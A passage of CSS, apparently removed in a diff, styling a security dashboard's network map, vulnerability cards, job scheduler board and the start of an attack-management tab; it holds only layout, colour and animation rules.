.foam-ring:nth-child(2) { - animation-delay: -1s; - opacity: 0.3; -} - -@keyframes nv-foamPulse { - 0% { - transform: scale(0.9) rotate(0deg); - opacity: 0.4; - } - - 100% { - transform: scale(1.1) rotate(10deg); - opacity: 0.1; - } -} - -.network-container .sonar-wave { - fill: none; - stroke: #ffb703; - stroke-width: 2px; - animation: nv-sonar 4s infinite ease-out; - opacity: 0; - pointer-events: none; -} - -@keyframes nv-sonar { - 0% { - r: 40px; - opacity: 0.6; - stroke-width: 3px; - } - - 100% { - r: 300px; - opacity: 0; - stroke-width: 1px; - } -} - -.network-container .label-group { - transition: transform 0.1s; -} - -.network-container .label-bg { - fill: rgba(0, 20, 40, 0.8); - rx: 4; - stroke: rgba(255, 255, 255, 0.1); - stroke-width: 0.5px; -} - -.network-container .label-text { - font-size: 10px; - fill: #fff; - font-family: monospace; - text-shadow: 0 1px 2px #000; - pointer-events: none; -} - -.network-container .d3-tooltip { - position: absolute; - pointer-events: none; - opacity: 0; - background: rgba(2, 16, 31, 0.95); - border: 1px solid #219ebc; - padding: 12px; - border-radius: 8px; - font-size: 0.85rem; - color: #fff; - box-shadow: 0 5px 20px rgba(0, 0, 0, 0.5); - transform: translate(-50%, -110%); - transition: opacity 0.2s; - white-space: nowrap; - z-index: 1000; -} - -@media (max-width: 900px) { - .network-container .nv-toolbar { - flex-wrap: wrap; - justify-content: flex-start; - gap: 8px; - } - - .network-container .nv-search { - min-width: 0; - flex: 1 1 220px; - } - - .network-container .segmented { - order: 3; - } - - .network-container table.network-table { - min-width: 700px; - } - - .network-container .hosts-content { - min-width: 260px; - } -} - -@media (max-width: 720px) { - .network-container { - padding: 8px; - } - - .network-container .nv-toolbar { - padding: 8px; - } - - .network-container table.network-table { - min-width: 620px; - border-spacing: 0 .35rem; - } - - .network-container .bubble { - font-size: .82rem; - padding: .35rem .65rem; - } - - .network-container .port-bubble { - font-size: .8rem; - padding: .34rem .62rem; - } -} - -/* ========================================================================== - VULNERABILITIES - ========================================================================== */ -.vuln-container { - padding: var(--gap-4); - min-height: calc(100vh - var(--h-topbar) - var(--h-bottombar)); - animation: vuln-fadeIn 0.5s ease-in; -} - -@keyframes vuln-fadeIn { - from { - opacity: 0; - transform: translateY(10px); - } - - to { - opacity: 1; - transform: translateY(0); - } -} - -.vuln-container .stats-header { - display: grid; - grid-template-columns: repeat(auto-fit, minmax(150px, 1fr)); - gap: var(--gap-4); - margin-bottom: var(--gap-3); -} - -.vuln-container .stat-card { - background: var(--grad-card); - border-radius: var(--radius); - padding: var(--gap-4); - text-align: center; - border: 1px solid var(--c-border); - transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); - position: relative; - overflow: hidden; - box-shadow: var(--elev); -} - -.vuln-container .stat-card::before { - content: ''; - position: absolute; - top: 0; - left: 0; - right: 0; - height: 3px; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - animation: vuln-pulse 2s infinite; -} - -.vuln-container .stat-card:hover { - transform: translateY(-2px); - box-shadow: var(--shadow-hover); -} - -.vuln-container .stat-number { - font-size: 28px; - font-weight: bold; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; - margin: 5px 0; -} - -.vuln-container .stat-label { - font-size: 12px; - color: var(--muted); - text-transform: uppercase; - letter-spacing: 1px; -} - -.vuln-container .control-bar { - background: var(--grad-card); - border-radius: var(--radius); - padding: var(--gap-4); - margin-bottom: var(--gap-3); - display: flex; - flex-wrap: wrap; - gap: var(--gap-3); - align-items: center; - border: 1px solid var(--c-border); - box-shadow: var(--elev); -} - -.vuln-container .search-box { - flex: 1; - min-width: 200px; - position: relative; -} - -.vuln-container .search-input { - width: 100%; - height: var(--control-h); - padding: 0 40px 0 var(--control-pad-x); - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - border-radius: var(--control-r); - color: var(--ink); - font-size: 14px; - transition: all 0.3s ease; -} - -.vuln-container .search-input:focus { - outline: none; - border-color: var(--accent); - box-shadow: 0 0 0 3px var(--glow-weak); -} - -.vuln-container .clear-search { - position: absolute; - right: 10px; - top: 50%; - transform: translateY(-50%); - background: none; - border: none; - color: var(--danger); - cursor: pointer; - font-size: 18px; - display: none; - transition: color 0.3s ease; -} - -.vuln-container .clear-search:hover { - color: var(--acid-2); -} - -.vuln-container .clear-search.show { - display: block; -} - -.vuln-container .filter-buttons { - display: flex; - gap: var(--gap-3); -} - -.vuln-container .filter-btn.active { - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - border-color: var(--accent); -} - -.vuln-container .severity-filter { - display: flex; - gap: var(--gap-2); -} - -.vuln-container .severity-btn.critical.active { - background: var(--danger); - border-color: var(--danger); - color: var(--white); -} - -.vuln-container .severity-btn.high.active { - background: var(--warning); - border-color: var(--warning); - color: var(--ink-invert); -} - -.vuln-container .severity-btn.medium.active { - background: var(--accent-2); - border-color: var(--accent-2); - color: var(--ink-invert); -} - -.vuln-container .severity-btn.low.active { - background: var(--ok); - border-color: var(--ok); - color: var(--ink-invert); -} - -.vuln-container .vuln-grid { - display: grid; - gap: var(--gap-4); - max-height: calc(100vh - 250px); - overflow-y: auto; -} - -.vuln-container .vuln-card { - background: var(--grad-card); - border-radius: var(--radius); - border: 1px solid var(--c-border); - overflow: hidden; - transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); - animation: vuln-slideIn 0.4s ease-out; - box-shadow: var(--elev); -} - -@keyframes vuln-slideIn { - from { - opacity: 0; - transform: translateX(-20px); - } - - to { - opacity: 1; - transform: translateX(0); - } -} - -.vuln-container .vuln-card:hover { - transform: translateY(-2px); - box-shadow: var(--shadow-hover); - border-color: var(--accent); -} - -.vuln-container .vuln-card.inactive { - opacity: 0.6; - border-color: var(--muted-off); -} - -.vuln-container .vuln-header { - padding: var(--gap-4); - background: var(--grad-quickpanel); - display: flex; - justify-content: space-between; - align-items: center; - cursor: pointer; - user-select: none; - border-bottom: 1px solid var(--c-border); -} - -.vuln-container .vuln-title { - display: flex; - align-items: center; - gap: var(--gap-3); - flex: 1; -} - -.vuln-container .vuln-id { - font-weight: bold; - font-size: 14px; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.vuln-container .severity-badge { - padding: 4px 10px; - border-radius: 20px; - font-size: 11px; - font-weight: bold; - text-transform: uppercase; - letter-spacing: 0.5px; - animation: vuln-pulse 2s infinite; -} - -@keyframes vuln-pulse { - 0% { - opacity: 1; - } - - 50% { - opacity: 0.7; - } - - 100% { - opacity: 1; - } -} - -.vuln-container .severity-critical { - background: var(--danger); - color: var(--white); -} - -.vuln-container .severity-high { - background: var(--warning); - color: var(--ink-invert); -} - -.vuln-container .severity-medium { - background: var(--accent-2); - color: var(--ink-invert); -} - -.vuln-container .severity-low { - background: var(--ok); - color: var(--ink-invert); -} - -.vuln-container .vuln-meta { - display: flex; - gap: var(--gap-4); - font-size: 12px; - color: var(--muted); -} - -.vuln-container .meta-item { - display: flex; - align-items: center; - gap: var(--gap-2); -} - -.vuln-container .expand-icon { - color: var(--muted); - transition: transform 0.3s ease; - font-size: 18px; -} - -.vuln-container .vuln-card.expanded .expand-icon { - transform: rotate(180deg); -} - -.vuln-container .vuln-content { - max-height: 0; - overflow: hidden; - transition: max-height 0.3s ease-out; -} - -.vuln-container .vuln-card.expanded .vuln-content { - max-height: 1000px; -} - -.vuln-container .vuln-details { - padding: var(--gap-4); - border-top: 1px solid var(--c-border); - background: var(--c-panel); -} - -.vuln-container .detail-section { - margin-bottom: var(--gap-4); -} - -.vuln-container .detail-title { - font-size: 12px; - color: var(--muted); - text-transform: uppercase; - letter-spacing: 1px; - margin-bottom: var(--gap-2); - font-weight: 600; -} - -.vuln-container .detail-content { - font-size: 14px; - line-height: 1.6; - color: var(--ink); -} - -.vuln-container .tags-container { - display: flex; - flex-wrap: wrap; - gap: var(--gap-2); -} - -.vuln-container .tag { - padding: 4px 8px; - background: var(--c-chip-bg); - border: 1px solid var(--c-border); - border-radius: var(--gap-2); - font-size: 11px; - color: var(--muted); -} - -.vuln-container .action-buttons { - display: flex; - gap: var(--gap-3); - padding: var(--gap-4); - border-top: 1px solid var(--c-border); - background: var(--c-panel-2); -} - -.vuln-container .action-btn { - flex: 1; - justify-content: center; - text-transform: uppercase; - letter-spacing: 0.5px; -} - -.vuln-container .btn-remediate { - background: var(--ok); - border-color: var(--ok); - color: var(--ink-invert); -} - -.vuln-container .btn-details { - background: var(--accent-2); - border-color: var(--accent-2); - color: var(--ink-invert); -} - -.vuln-container .btn-export { - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - border-color: var(--accent); - color: var(--white); -} - -/* Host view */ -.vuln-container .host-card { - background: var(--grad-card); - border-radius: var(--radius); - border: 1px solid var(--c-border); - margin-bottom: var(--gap-4); - overflow: hidden; - animation: vuln-slideIn 0.4s ease-out; - box-shadow: var(--elev); -} - -.vuln-container .host-header { - background: var(--grad-quickpanel); - padding: var(--gap-4); - cursor: pointer; - user-select: none; - display: flex; - justify-content: space-between; - align-items: center; - border-bottom: 1px solid var(--c-border); -} - -.vuln-container .host-header:hover { - background: var(--grad-modal); -} - -.vuln-container .host-info { - display: flex; - flex-direction: column; - gap: var(--gap-2); -} - -.vuln-container .host-name { - font-size: 16px; - font-weight: bold; - color: var(--ink); - display: flex; - align-items: center; - gap: var(--gap-3); -} - -.vuln-container .host-details { - display: flex; - gap: var(--gap-4); - font-size: 12px; - color: var(--muted); -} - -.vuln-container .host-stats { - display: flex; - gap: var(--gap-3); - align-items: center; -} - -.vuln-container .host-stat-badge { - padding: 5px 10px; - border-radius: 20px; - font-size: 11px; - font-weight: bold; - display: flex; - align-items: center; - gap: var(--gap-2); -} - -.vuln-container .host-vulns { - max-height: 0; - overflow: hidden; - transition: max-height 0.3s ease-out; -} - -.vuln-container .host-card.expanded .host-vulns { - max-height: 2000px; -} - -.vuln-container .host-vuln-list { - padding: var(--gap-4); - background: var(--c-panel); -} - -.vuln-container .host-vuln-item { - background: var(--c-panel-2); - border: 1px solid var(--c-border); - border-radius: var(--control-r); - padding: var(--gap-3); - margin-bottom: var(--gap-3); - display: flex; - justify-content: space-between; - align-items: center; - transition: all 0.3s ease; -} - -.vuln-container .host-vuln-item:hover { - background: var(--grad-card); - border-color: var(--accent); - transform: translateX(5px); -} - -.vuln-container .host-summary { - background: var(--grad-quickpanel); - padding: var(--gap-3); - border-radius: var(--control-r); - margin-bottom: var(--gap-3); - display: flex; - justify-content: space-around; - text-align: center; -} - -.vuln-container .host-summary-item { - display: flex; - flex-direction: column; - gap: var(--gap-2); -} - -.vuln-container .host-summary-value { - font-size: 18px; - font-weight: bold; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.vuln-container .host-summary-label { - font-size: 10px; - color: var(--muted); - text-transform: uppercase; - letter-spacing: 0.5px; -} - -/* Badges */ -.vuln-container .badge-kev { - background: var(--danger); - padding: 2px 6px; - border-radius: 10px; - font-size: 10px; - color: var(--white); - font-weight: bold; -} - -.vuln-container .badge-exploit { - background: linear-gradient(135deg, #9c27b0, #e1bee7); - padding: 2px 6px; - border-radius: 10px; - font-size: 10px; - color: var(--white); - font-weight: bold; -} - -.vuln-container .badge-epss-high { - background: linear-gradient(135deg, var(--danger), var(--warning)); - padding: 2px 6px; - border-radius: 10px; - font-size: 10px; - color: var(--white); - font-weight: bold; -} - -.vuln-container .badge-epss-medium { - background: linear-gradient(135deg, var(--warning), var(--accent-2)); - padding: 2px 6px; - border-radius: 10px; - font-size: 10px; - color: var(--white); - font-weight: bold; -} - -/* Pagination */ -.vuln-container .pagination { - display: flex; - justify-content: center; - gap: var(--gap-3); - margin-top: var(--gap-4); - padding: var(--gap-3); -} - -.vuln-container .page-btn:disabled { - opacity: 0.5; - cursor: not-allowed; -} - -.vuln-container .page-btn.active { - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - border-color: var(--accent); - color: var(--white); -} - -.vuln-container .page-info { - display: flex; - align-items: center; - color: var(--muted); - font-size: 13px; -} - -/* Modal */ -.vuln-container .modal { - display: none; - position: fixed; - top: 0; - left: 0; - width: 100%; - height: 100%; - background: var(--glass-8); - z-index: 1000; - animation: vuln-fadeIn 0.3s ease; -} - -.vuln-container .modal.show { - display: flex; - align-items: center; - justify-content: center; -} - -.vuln-container .modal-content { - background: var(--grad-modal); - border-radius: var(--radius); - max-width: 800px; - width: 90%; - max-height: 80vh; - overflow-y: auto; - animation: vuln-slideUp 0.3s ease; - border: 1px solid var(--c-border-strong); - box-shadow: var(--shadow-hover); -} - -@keyframes vuln-slideUp { - from { - transform: translateY(50px); - opacity: 0; - } - - to { - transform: translateY(0); - opacity: 1; - } -} - -.vuln-container .modal-header { - padding: var(--gap-4); - border-bottom: 1px solid var(--c-border); - display: flex; - justify-content: space-between; - align-items: center; - position: sticky; - top: 0; - background: var(--grad-quickpanel); - z-index: 1; -} - -.vuln-container .modal-title { - font-size: 18px; - font-weight: bold; - background: linear-gradient(90deg, var(--accent), var(--accent-2)); - -webkit-background-clip: text; - -webkit-text-fill-color: transparent; -} - -.vuln-container .close-modal { - background: none; - border: none; - color: var(--muted); - font-size: 24px; - cursor: pointer; - transition: color 0.3s ease; -} - -.vuln-container .close-modal:hover { - color: var(--ink); -} - -.vuln-container .modal-body { - padding: var(--gap-4); -} - -@media (max-width:768px) { - .vuln-container .stats-header { - grid-template-columns: repeat(2, 1fr); - } - - .vuln-container .control-bar { - flex-direction: column; - } - - .vuln-container .search-box { - width: 100%; - } - - .vuln-container .filter-buttons { - width: 100%; - justify-content: space-between; - } - - .vuln-container .severity-filter { - width: 100%; - justify-content: space-between; - } - - .vuln-container .vuln-header { - flex-direction: column; - align-items: flex-start; - gap: var(--gap-3); - } - - .vuln-container .vuln-meta { - flex-direction: column; - gap: var(--gap-2); - } - - .vuln-container .modal-content { - width: 95%; - max-height: 90vh; - } -} - -/* ========================================================================== - SCHEDULER - ========================================================================== */ -.scheduler-container .toolbar-top { - position: sticky; - top: calc(var(--h-topbar, 0px) + 5px); - z-index: 60; -} - -.scheduler-container .controls { - position: sticky; - top: 1px; - z-index: 50; - display: flex; - flex-wrap: wrap; - align-items: center; - gap: .5rem; - padding: .6rem .8rem; - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 14px; - margin: .6rem .6rem 0 .6rem; - box-shadow: var(--shadow); - backdrop-filter: saturate(1.05) blur(6px); -} - -.scheduler-container .pill { - background: var(--panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - border-radius: 999px; - padding: .45rem .8rem; - cursor: pointer; - user-select: none; - -webkit-user-select: none; - font-weight: 700; - transition: transform .15s ease, box-shadow .2s ease, background .2s ease, color .2s ease; - box-shadow: var(--shadow); -} - -.scheduler-container .pill:hover { - transform: translateY(-1px); - box-shadow: 0 10px 26px rgba(0, 0, 0, .35); -} - -.scheduler-container .pill.active { - background: var(--grad-card, linear-gradient(135deg, color-mix(in oklab, var(--panel) 92%, transparent), color-mix(in oklab, var(--c-panel) 88%, transparent))); - box-shadow: inset 0 0 0 1px var(--c-border-strong), 0 6px 24px var(--glow-weak); -} - -.scheduler-container .controls input[type="text"] { - flex: 1 1 260px; - min-width: 200px; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - border-radius: 10px; - padding: .5rem .7rem; - box-shadow: var(--shadow); - font-weight: 700; - outline: none; -} - -.scheduler-container .controls input[type="text"]:focus-visible, -.scheduler-container .pill:focus-visible { - outline: 2px solid var(--acid); - outline-offset: 2px; - box-shadow: 0 0 0 3px color-mix(in oklab, var(--acid) 25%, transparent); -} - -.scheduler-container .stats { - flex-basis: 100%; - margin-left: 0; - text-align: center; - color: var(--muted); -} - -/* Board */ -.scheduler-container .boardWrap { - height: calc(100vh - (var(--h-topbar, 0px) + 5px) - 56px - 52px); - overflow: auto; -} - -.scheduler-container .board { - display: flex; - gap: 14px; - padding: 14px; - min-width: 960px; -} - -.scheduler-container .lane { - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 16px; - width: 340px; - display: flex; - flex-direction: column; - box-shadow: var(--shadow); - min-height: 0; -} - -.scheduler-container .laneHeader { - display: flex; - align-items: center; - gap: .6rem; - padding: .6rem .75rem; - border-bottom: 1px solid var(--c-border-strong); - border-top-left-radius: 16px; - border-top-right-radius: 16px; - background: linear-gradient(180deg, color-mix(in oklab, var(--panel) 96%, transparent), color-mix(in oklab, var(--panel) 88%, transparent)); - position: sticky; - top: 0; - z-index: 5; -} - -.scheduler-container .laneHeader .dot { - width: 10px; - height: 10px; - border-radius: 999px; - box-shadow: 0 0 0 1px rgba(255, 255, 255, .08) inset; -} - -.scheduler-container .laneHeader .count { - margin-left: auto; - color: var(--muted); - font-size: .9rem; -} - -.scheduler-container .laneBody { - padding: .6rem; - display: flex; - flex-direction: column; - gap: .6rem; - overflow: auto; - min-height: 0; -} - -/* Status dot colors */ -.scheduler-container .status-upcoming .laneHeader .dot { - background: var(--c-upcoming); - animation: sched-dotPulse 1.6s ease-in-out infinite; -} - -.scheduler-container .status-pending .laneHeader .dot { - background: var(--c-pending); -} - -.scheduler-container .status-running .laneHeader .dot { - background: var(--c-running); - animation: sched-dotPulse 1.6s ease-in-out infinite; -} - -.scheduler-container .status-success .laneHeader .dot { - background: var(--c-success); -} - -.scheduler-container .status-failed .laneHeader .dot { - background: var(--c-failed); -} - -.scheduler-container .status-expired .laneHeader .dot { - background: var(--c-expired); -} - -.scheduler-container .status-cancelled .laneHeader .dot { - background: var(--c-cancel); -} - -@keyframes sched-dotPulse { - - 0%, - 100% { - box-shadow: 0 0 0 0 rgba(74, 168, 255, 0); - } - - 50% { - box-shadow: 0 0 12px 3px rgba(74, 168, 255, .65); - } -} - -/* Cards */ -.scheduler-container .card { - position: relative; - border: 1px solid var(--c-border-strong); - border-radius: 12px; - padding: .7rem .75rem; - box-shadow: var(--shadow); - display: flex; - flex-direction: column; - gap: .45rem; - overflow: hidden; - transition: transform .15s ease, box-shadow .25s ease, filter .2s ease, background .25s ease; - will-change: transform, box-shadow, filter; - background: var(--c-panel); -} - -.scheduler-container .card:hover { - transform: translateY(-1px); - box-shadow: 0 16px 36px rgba(0, 0, 0, .4); -} - -.scheduler-container .card .infoBtn { - position: absolute; - top: 6px; - right: 6px; - z-index: 3; - width: 22px; - height: 22px; - line-height: 20px; - font-weight: 800; - text-align: center; - border-radius: 999px; - border: 1px solid var(--c-border-strong); - background: var(--panel); - color: var(--c-upcoming); - cursor: pointer; - user-select: none; - -webkit-user-select: none; -} - -.scheduler-container .card .infoBtn:hover { - filter: brightness(1.1); -} - -/* Card status backgrounds */ -.scheduler-container .card.status-upcoming { - background: color-mix(in oklab, var(--c-upcoming) 12%, var(--c-panel)); - animation: sched-breathe 2.6s ease-in-out infinite, sched-halo 2.6s ease-in-out infinite; -} - -.scheduler-container .card.status-pending { - background: color-mix(in oklab, var(--c-pending) 10%, var(--c-panel)); - animation: sched-breathe 2.6s ease-in-out infinite, sched-haloGray 2.8s ease-in-out infinite; -} - -.scheduler-container .card.status-running { - background: color-mix(in oklab, var(--c-running) 12%, var(--c-panel)); - animation: sched-pulse 1.8s ease-in-out infinite, sched-haloBlue 2s ease-in-out infinite; -} - -.scheduler-container .card.status-success { - background: color-mix(in oklab, var(--c-success) 10%, var(--c-panel)); -} - -.scheduler-container .card.status-failed { - background: color-mix(in oklab, var(--c-failed) 10%, var(--c-panel)); -} - -.scheduler-container .card.status-expired { - background: color-mix(in oklab, var(--c-expired) 10%, var(--c-panel)); -} - -.scheduler-container .card.status-cancelled { - background: color-mix(in oklab, var(--c-cancel) 10%, var(--c-panel)); -} - -.scheduler-container .badge { - margin-left: auto; - border-radius: 999px; - padding: .15rem .6rem; - font-size: .75rem; - font-weight: 800; - color: #0a0d10; -} - -.scheduler-container .card.status-upcoming .badge { - background: var(--c-upcoming); -} - -.scheduler-container .card.status-pending .badge { - background: var(--c-pending); -} - -.scheduler-container .card.status-running .badge { - background: var(--c-running); -} - -.scheduler-container .card.status-success .badge { - background: var(--c-success); -} - -.scheduler-container .card.status-failed .badge { - background: var(--c-failed); -} - -.scheduler-container .card.status-expired .badge { - background: var(--c-expired); -} - -.scheduler-container .card.status-cancelled .badge { - background: var(--c-cancel); -} - -/* Collapsed */ -.scheduler-container .card.collapsed .kv, -.scheduler-container .card.collapsed .tags, -.scheduler-container .card.collapsed .timer, -.scheduler-container .card.collapsed .meta, -.scheduler-container .card.collapsed .btns, -.scheduler-container .card.collapsed .notice { - display: none !important; -} - -.scheduler-container .card.collapsed { - gap: .25rem; - padding: .4rem .5rem; -} - -.scheduler-container .card.collapsed .actionIcon { - width: 80px; - height: 80px; -} - -.scheduler-container .cardHeader { - display: flex; - align-items: center; - gap: .6rem; -} - -.scheduler-container .actionName { - font-weight: 800; - letter-spacing: .2px; -} - -.scheduler-container .actionIconWrap { - display: flex; - align-items: center; - justify-content: center; - margin-right: 8px; -} - -.scheduler-container .actionIcon { - width: 80px; - height: 80px; - object-fit: contain; - border-radius: 6px; - background: var(--panel); - border: 1px solid var(--c-border); -} - -.scheduler-container .card.status-running .actionIcon { - animation: sched-pulseIcon 1.2s ease-in-out infinite; -} - -.scheduler-container .card.status-pending .actionIcon { - animation: sched-swayIcon 1.8s ease-in-out infinite; -} - -.scheduler-container .card.status-upcoming .actionIcon { - animation: sched-blinkIcon 2s ease-in-out infinite; -} - -@keyframes sched-pulseIcon { - - 0%, - 100% { - transform: scale(1); - } - - 50% { - transform: scale(1.25); - } -} - -@keyframes sched-swayIcon { - - 0%, - 100% { - transform: rotate(0deg); - } - - 25% { - transform: rotate(-5deg); - } - - 75% { - transform: rotate(5deg); - } -} - -@keyframes sched-blinkIcon { - - 0%, - 100% { - opacity: 1; - } - - 50% { - opacity: .4; - } -} - -.scheduler-container .kv { - display: flex; - flex-wrap: wrap; - gap: .45rem .8rem; - font-size: .9rem; -} - -.scheduler-container .kv .k { - color: var(--muted); -} - -.scheduler-container .tags { - display: flex; - flex-wrap: wrap; - gap: .35rem; -} - -.scheduler-container .tag { - background: var(--panel); - color: var(--ink); - border: 1px solid var(--c-border-strong); - padding: .15rem .45rem; - border-radius: 999px; - font-size: .74rem; - box-shadow: var(--shadow); -} - -.scheduler-container .meta { - color: color-mix(in oklab, var(--ink) 76%, #9aa7b2); - font-size: .82rem; - display: flex; - flex-wrap: wrap; - gap: .5rem .8rem; -} - -.scheduler-container .btns { - display: flex; - flex-wrap: wrap; - gap: .4rem; - margin-top: .2rem; -} - -.scheduler-container .btn { - background: var(--panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - padding: .35rem .6rem; - border-radius: 8px; - cursor: pointer; -} - -.scheduler-container .btn:hover { - filter: brightness(1.08); -} - -.scheduler-container .btn.danger { - background: color-mix(in oklab, #9c2b2b 22%, var(--panel)); - border-color: #4a1515; - color: #ffd0d0; -} - -.scheduler-container .btn.warn { - background: color-mix(in oklab, #9c6a2b 22%, var(--panel)); - border-color: #5c2c0c; - color: #ffd8a8; -} - -.scheduler-container .empty { - color: var(--muted); - text-align: center; - padding: .6rem; -} - -@keyframes sched-pulse { - - 0%, - 100% { - transform: scale(1); - } - - 50% { - transform: scale(1.02); - } -} - -@keyframes sched-breathe { - - 0%, - 100% { - filter: brightness(1); - } - - 50% { - filter: brightness(1.07); - } -} - -@keyframes sched-halo { - - 0%, - 100% { - box-shadow: 0 0 12px rgba(156, 194, 255, .25); - } - - 50% { - box-shadow: 0 0 22px rgba(156, 194, 255, .45); - } -} - -@keyframes sched-haloGray { - - 0%, - 100% { - box-shadow: 0 0 12px rgba(187, 187, 187, .15); - } - - 50% { - box-shadow: 0 0 22px rgba(187, 187, 187, .3); - } -} - -@keyframes sched-haloBlue { - - 0%, - 100% { - box-shadow: 0 0 12px rgba(74, 168, 255, .25); - } - - 50% { - box-shadow: 0 0 26px rgba(74, 168, 255, .5); - } -} - -/* Timer / Progress */ -.scheduler-container .timer { - font-size: .82rem; - color: color-mix(in oklab, var(--ink) 80%, #bcd7ff); - display: flex; - align-items: center; - gap: .4rem; -} - -.scheduler-container .timer .cd { - font-variant-numeric: tabular-nums; -} - -.scheduler-container .progress { - height: 6px; - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 999px; - overflow: hidden; -} - -.scheduler-container .progress .bar { - height: 100%; - width: 0%; - background: linear-gradient(90deg, var(--c-running), #00d8ff); -} - -/* More button */ -.scheduler-container .moreWrap { - display: flex; - justify-content: center; -} - -.scheduler-container .moreBtn { - background: var(--panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - border-radius: 10px; - padding: .45rem .8rem; - cursor: pointer; - transition: transform .15s; - margin: .25rem auto 0; - box-shadow: var(--shadow); -} - -.scheduler-container .moreBtn:hover { - transform: translateY(-1px); -} - -/* Notice */ -.scheduler-container .notice { - padding: .6rem .8rem; - color: #ffd9d6; - background: color-mix(in oklab, #7a3838 55%, var(--panel)); - border-bottom: 1px solid #7a3838; - display: none; - border-radius: 12px; - margin: .6rem; -} - -/* Chips */ -.scheduler-container .chips { - display: flex; - flex-wrap: wrap; - gap: .35rem; - margin: .1rem 0 .2rem; - justify-content: center; -} - -.scheduler-container .chip { - --h: 200; - display: inline-flex; - align-items: center; - gap: .4rem; - padding: .25rem .55rem; - border-radius: 999px; - font-size: .82rem; - font-weight: 800; - color: #fff; - letter-spacing: .2px; - background: linear-gradient(135deg, rgba(255, 255, 255, .06), rgba(0, 0, 0, .12)), hsl(var(--h), 65%, 34%); - border: 1px solid hsla(var(--h), 70%, 60%, .35); - box-shadow: 0 6px 16px rgba(0, 0, 0, .22), inset 0 1px 0 rgba(255, 255, 255, .06); - transition: transform .15s ease, box-shadow .2s ease, filter .2s ease; -} - -.scheduler-container .chip:hover { - transform: translateY(-1px); - box-shadow: 0 10px 22px rgba(0, 0, 0, .28); -} - -.scheduler-container .chip .k { - opacity: .85; - font-weight: 700; -} - -/* History modal */ -.scheduler-container .modalOverlay { - position: fixed; - inset: 0; - background: rgba(0, 0, 0, .5); - display: none; - align-items: center; - justify-content: center; - z-index: 1000; -} - -.scheduler-container .modal { - width: min(860px, 92vw); - max-height: 80vh; - background: var(--panel); - border: 1px solid var(--c-border-strong); - border-radius: 14px; - box-shadow: 0 20px 56px rgba(0, 0, 0, .6); - display: flex; - flex-direction: column; - overflow: hidden; -} - -.scheduler-container .modalHeader { - display: flex; - align-items: center; - gap: .6rem; - padding: .6rem .8rem; - border-bottom: 1px solid var(--c-border-strong); - background: linear-gradient(180deg, color-mix(in oklab, var(--panel) 96%, transparent), color-mix(in oklab, var(--panel) 88%, transparent)); -} - -.scheduler-container .modalHeader .title { - font-weight: 900; -} - -.scheduler-container .modalHeader .spacer { - flex: 1; -} - -.scheduler-container .modalBody { - padding: .6rem .8rem; - overflow: auto; - display: flex; - flex-direction: column; - gap: .35rem; -} - -.scheduler-container .modalFooter { - padding: .5rem .8rem; - border-top: 1px solid var(--c-border-strong); - display: flex; - gap: .5rem; - justify-content: flex-end; - color: var(--muted); -} - -.scheduler-container .xBtn, -.scheduler-container .miniToggle { - background: var(--panel); - color: var(--ink); - border: 1px solid var(--c-border-strong); - border-radius: 8px; - padding: .35rem .6rem; - cursor: pointer; -} - -.scheduler-container .xBtn:hover, -.scheduler-container .miniToggle:hover { - filter: brightness(1.08); -} - -.scheduler-container #searchBox { - width: 100%; - background: var(--c-panel); - border: 1px solid var(--c-border-strong); - color: var(--ink); - border-radius: 10px; - padding: .5rem .7rem; - box-shadow: var(--shadow); - font-weight: 700; - outline: none; -} - -.scheduler-container .histRow { - display: flex; - align-items: center; - gap: .6rem; - padding: .45rem .6rem; - border-radius: 10px; - border: 1px solid var(--c-border-strong); - background: color-mix(in oklab, var(--ink) 2%, var(--panel)); -} - -.scheduler-container .histRow .ts { - color: var(--muted); - font-variant-numeric: tabular-nums; -} - -.scheduler-container .histRow .st { - font-weight: 900; - margin-left: auto; - padding: .1rem .5rem; - border-radius: 999px; - font-size: .75rem; - color: #0a0d10; -} - -.scheduler-container .hist-success { - background: color-mix(in oklab, var(--c-success) 8%, var(--panel)); - border-left: 3px solid var(--c-success); -} - -.scheduler-container .hist-failed { - background: color-mix(in oklab, var(--c-failed) 8%, var(--panel)); - border-left: 3px solid var(--c-failed); -} - -.scheduler-container .hist-running { - background: color-mix(in oklab, var(--c-running) 8%, var(--panel)); - border-left: 3px solid var(--c-running); -} - -.scheduler-container .hist-pending, -.scheduler-container .hist-scheduled { - background: color-mix(in oklab, var(--c-pending) 8%, var(--panel)); - border-left: 3px solid var(--c-pending); -} - -.scheduler-container .hist-expired { - background: color-mix(in oklab, var(--c-expired) 8%, var(--panel)); - border-left: 3px solid var(--c-expired); -} - -.scheduler-container .hist-cancelled { - background: color-mix(in oklab, var(--c-cancel) 8%, var(--panel)); - border-left: 3px solid var(--c-cancel); -} - -.scheduler-container .hist-superseded { - background: color-mix(in oklab, var(--c-super) 8%, var(--panel)); - border-left: 3px solid var(--c-super); -} - -@media (max-width:920px) { - .scheduler-container .board { - flex-direction: column; - min-width: 0; - } - - .scheduler-container .lane { - width: auto; - } - - .scheduler-container .stats { - width: 100%; - margin-left: 0; - } - - .scheduler-container .boardWrap { - height: auto; - min-height: calc(100vh - (var(--h-topbar, 0px) + 5px)); - } -} - -@media (prefers-reduced-motion: reduce) { - - .scheduler-container .card, - .scheduler-container .laneHeader .dot { - animation: none !important; - } -} - -/* ========================================================================== - ATTACKS (Management) - ========================================================================== */ -.attacks-container .tabs-container { - display: flex; - gap: 4px; - margin-bottom: 16px; - padding-bottom: 8px; - border-bottom: 1px solid var(--_border); -} - 